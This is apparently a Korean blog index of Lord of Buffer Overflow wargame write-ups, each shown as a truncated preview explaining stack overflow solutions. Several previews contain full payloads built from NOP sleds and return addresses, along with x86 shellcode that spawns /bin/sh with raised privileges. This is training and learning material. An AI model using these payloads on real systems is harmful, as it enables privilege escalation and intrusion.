๐’ƒ๐’†๐’‚๐’–๐’•๐’š ๐’Š๐’๐’•๐’†๐’๐’๐’Š๐’ˆ๐’†๐’๐’•
728x90
๋ฐ˜์‘ํ˜•
article thumbnail
LOB orge
Wargame/CTF(Capture The Flag) 2015. 9. 15. 06:13

์ฝ”๋“œ๋ฅผ ์—ด์–ด๋ณด๋ฉด argv[0]=file์ด๋ฆ„์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ํŒŒ์ผ์ด๋ฆ„์„ 77byte๋ฅผ ๋งž์ถฐ์ฃผ๊ธฐ ์œ„ํ•ด ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฑธ์–ด์ค€๋‹ค. ./๊นŒ์ง€ ํฌํ•จํ•˜๋ฏ€๋กœ 75๋ฅผ ํ•œ๋‹ค.๋‚˜๋จธ์ง€๋Š” ๋™์ผ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(์‹ฌ๋ณผ๋ฆญ ๋งํฌ) $(python -c 'print "\x90"*40+"AAAA"+"\x9c\xfb\xff\xbf(์ฃผ์†Œ๊ฐ’)"') $(python -c 'print "\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\..

article thumbnail
LOB darklf
Wargame/CTF(Capture The Flag) 2015. 9. 15. 05:28

์†Œ์Šค๋ฅผ ์—ด์–ด๋ณด๋ฉด ์ผ๋‹จ ์ „๋ฌธ์ œ๋ž‘ ๋น„์Šทํ•œ๋ฐ ๊ธธ์ด๋ฅผ ์ฒดํฌํ•œ๋‹ค.์ฒซ๋ฒˆ์งธ์ธ์ž ๊ฐ’์˜ ๊ธธ์ด๋ฅผ ํ™•์ธํ•˜์—ฌ 48๊ธ€์ž๋ณด๋‹ค ํฌ๋ฉด ๋‚˜์™€๋ฒ„๋ฆฌ๋Š” ๊ฒƒ์„ ํ™•์ธ ํ• ์ˆ˜ ์žˆ๋‹ค. ์ผ๋‹จ ์•ž๊ณผ ๋˜‘๊ฐ™์ด ์ง„ํ–‰ํ•˜๊ณ  payload๋ฅผ ์ž‘์„ฑ๋•Œ ./darkelf $(python -c 'print "\x90"*40+"AAAA"+"\xcc\xfb\xff\xbf"')

article thumbnail
LOB wolfman
Wargame/CTF(Capture The Flag) 2015. 9. 15. 05:09

๋‹ค์‹œ ๋ฌธ์ œ๋ฅผ ํ’€๋ฉด ๋‘๋‘ฅ ์ „ ๋ฌธ์ œ๋ž‘ ๋˜‘๊ฐ™์€ ํŒจํ„ด์ด๋‹ค. ./wolfman $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xec\xfb\xff\xbf"(์ฃผ์†Œ๊ฐ’)+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

article thumbnail
LOB orc
Wargame/CTF(Capture The Flag) 2015. 9. 15. 04:13

cp๋ช…๋ น์–ด ๊ฐ™์€ ๊ฑด ๋ฌด์‹œํ•˜๊ณ  ๋‹ค์‹œ ์ ‘์†์„ ํ•˜์—ฌ ๋ฌธ์ œ๋ฅผ ํ’€๋ฉด orc.c๋ฅผ ์—ด์–ด๋ณด๋ฉด buffer๊ฐ€ 40์ด๊ณ  ๋ฆฌํ„ด๊ฐ’์ด \xbf๊ฐ€ ๊ผญ ๋“ค์–ด๊ฐ€์•ผ ํ•œ๋‹ค๊ณ  ๋‚˜์˜จ๋‹ค. gdb๋ฅผ ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฉ”์ธ์— ๋ธŒ๋ ˆ์ดํฌํฌ์ธํŠธ๋ฅผ ๊ฑธ๊ณ  r $(python -c 'print "\x90"*100์„ ์ž…๋ ฅํ•˜์—ฌ esp๊ฐ’์„ ๋ฐ”๊พธ์—ˆ๋‹ค.๊ทธํ›„ x/100 $esp๋กœ ๊ฐ’์„ ํ™•์ธํ•˜๋ฉด 90909090๋“ค์–ด๊ฐ€ ์žˆ๋Š” ์ฃผ์†Œ๋ฅผ ๋ณผ์ˆ˜ ์žˆ๋‹ค. payload๋ฅผ ์ž‘์„ฑํ•ด๋ณด๋ฉด ./orc $(python -c 'print "\x90"*40+"AAAA(dummy)"+"\xdb\xfb\xff\xbf(ret ์ฃผ์†Œ๊ฐ’)"+"\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68..

article thumbnail
LOB goblin
Wargame/CTF(Capture The Flag) 2015. 9. 15. 03:27

์ ‘์†์„ ํ•˜๊ณ  (cp ๊ฐ™์€ ๊ฒƒ์€ ๋ฌด์‹œํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค) ์†Œ์Šค๋ฅผ ํ™•์ธ ํ•˜๋ฉด ์ด๋ฒˆ์— ๋˜ํ•œ buffer๊ฐ€ 16์ธ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜์žˆ๋‹ค.๋จผ์ € vi ๋ฅผ ์ด์šฉํ•˜์—ฌ ํ”„๋กœ๊ทธ๋ž˜๋ฐ GOGO!! ์œ„์™€๊ฐ™์ด #include #include int main(int argc, char *argv[]){long shell;shell = system ์ฃผ์†Œ๊ฐ’;๋‚˜๋จธ์ง€๋Š” ๋™์ผ ํ•˜๊ฒŒ ํ”„๋กœ๊ทธ๋ž˜๋ฐ์„ ํ•˜๊ณ  gcc๋ฅผ ์ด์šฉํ•ด ์ปดํŒŒ์ผ์„ ํ•œ๋‹ค. ์ด์ œ system ์ฃผ์†Œ๊ฐ’์„ ๋ณด๊ธฐ์œ„ํ•ด gdb๋ฅผ ์ด์šฉํ•ด ๋“ค์–ด๊ฐ„ํ›„ b main๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฉ”์ธ์— ๋ธŒ๋ ˆ์ดํฌ ํฌ์ธํŠธ๋ฅผ ๊ฑด๋‹ค.๊ทธํ›„ p system์ด๋ผ๋Š” ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ system ์ฃผ์†Œ๊ฐ’์„ ํ™•์ธํ•œ๋‹ค.(ํ”„๋กœ๊ทธ๋ž˜๋ฐํ• ๋•Œ ์ž…๋ ฅํ•ด์•ผํ•จ) ์ด์ œ payload๋ฅผ ์งœ๋ณด๋ฉด (python -c 'print "\x90"*20+"AAAAA(ebp+8..

article thumbnail
LOB gremlin
Wargame/CTF(Capture The Flag) 2015. 9. 14. 17:04

gate์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ cp๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•œ๋‹ค. ๊ทธํ›„ gremlin.c๋ฅผ ์—ด์–ด ๋ณด๋ฉด 16์ด๋ผ๋Š” buffer๋กœ small buffer๋ผ๋Š” ๊ฒƒ์„ ์•Œ์ˆ˜ ์žˆ๋‹ค.๊ทธํ›„ gdb๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ณด๋ฉด sub 0x10์˜ ๊ฐ’์„ ํ™•์ธํ•ด๋ณด๋ฉด 16์ด๋ผ๋Š” ๊ฒƒ์œผ๋กœ dummy ๊ฐ’์ด ์—†๋Š” ๊ฒƒ์„ ํ™•์ธ ํ• ์ˆ˜ ์žˆ๋‹ค. 16๋ฐ”์ดํŠธ๋ฅผ ํ™•๋ณดํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ด๋ฏ€๋กœ main+3์— ๋ธŒ๋ ˆ์ดํฌ ํฌ์ธํŠธ๋ฅผ ๊ฑด๋‹ค. ๊ทธ๋ฆฌ๊ณ  ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰ ๋™์‹œ์— ์ธ์ž๊ฐ€ ์ „๋‹ฌ๋˜๋ฏ€๋กœ argv[2]์˜ ์œ„์น˜๋ฅผ ์•Œ์•„๋ณด๊ธฐ์œ„ํ•ด $(python -c 'print "\x90(buffer+sfp๊ฐ’)"*20+"BBBB(ret์„ ๋ฎ์–ด์จ์•ผํ•  ์ฃผ์†Œ ๊ฐ€๋“ค์–ด๊ฐˆ ์œ„์น˜"') $(python -c 'print "A"*241"")์„ ๋„ฃ๋Š”๋‹ค 0x42424242๊ฐ€ ret์œ„์น˜๋กœ ๋ฎ์–ด์จ์•ผํ•˜๋ฏ€๋กœ ๋Œ€์ถฉ 414141414..

article thumbnail
LOB gate
Wargame/CTF(Capture The Flag) 2015. 9. 14. 15:38

LOB gate๋กœ ์ ‘์†์„ ํ•˜๋ฉด gate์™€ gate๋กœ ์ ‘์†๊ฐ€๋Šฅํ•˜๋‹ค. ์ ‘์†ํ›„ ํ™•์ธ ํ•˜๋ฉด ํŒŒ์ผ์ด 3๊ฐœ์žˆ๋Š” ๊ฒƒ์ด ํ™•์ธ๊ฐ€๋Šฅ ํ•˜๋‹ค ๋จผ์ € cp ๋ช…๋ น์„ ์ด์šฉํ•˜์—ฌ gremlin์˜ ๊ถŒํ•œ์ด ์—†์–ด gdb ๋„ ๋ชปํ•˜๋Š” ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜์ž !cp๋ช…๋ น์–ด๋Š” ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๋Š” ๋ช…๋ น์–ด์ด๋‹ค. ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๊ณ  gremlin.c ๋ฅผ ์—ด์–ด๋ณด๋ฉด strcpy์—์„œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ๋ณผ์ˆ˜ ์žˆ๋‹ค.ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ๊ฐ ํ•ด๋ณด๋ฉด ์ผ๋‹จ buffer 260(256+sfp)+shellcode+ret์ฃผ์†Œ(buffer์ฃผ์†Œ)๋ฅผ ๋„ฃ์–ด์•ผํ•œ๋‹ค. gdb๋กœ ํ™•์ธ์„ ํ•ด๋ณด๋ฉด strcpy๋‹ค์Œ์—์„œ ์ผ์–ด๋‚˜๋‹ˆ b *main+59์— ๋ธŒ๋ ˆ์ดํฌ ํฌ์ธํŠธ๋ฅผ ๊ฑธ๊ณ  r $(python -c 'print "\x90"*200(์ž„์˜์˜ ๊ฐ’)')์„ ๋„ฃ๊ณ  x/100x $esp ๋กœ esp๊ฐ’์„ ํ™•์ธ ํ•˜๋ฉด 0x9090909..

728x90
๋ฐ˜์‘ํ˜•
profile on loading

Loading...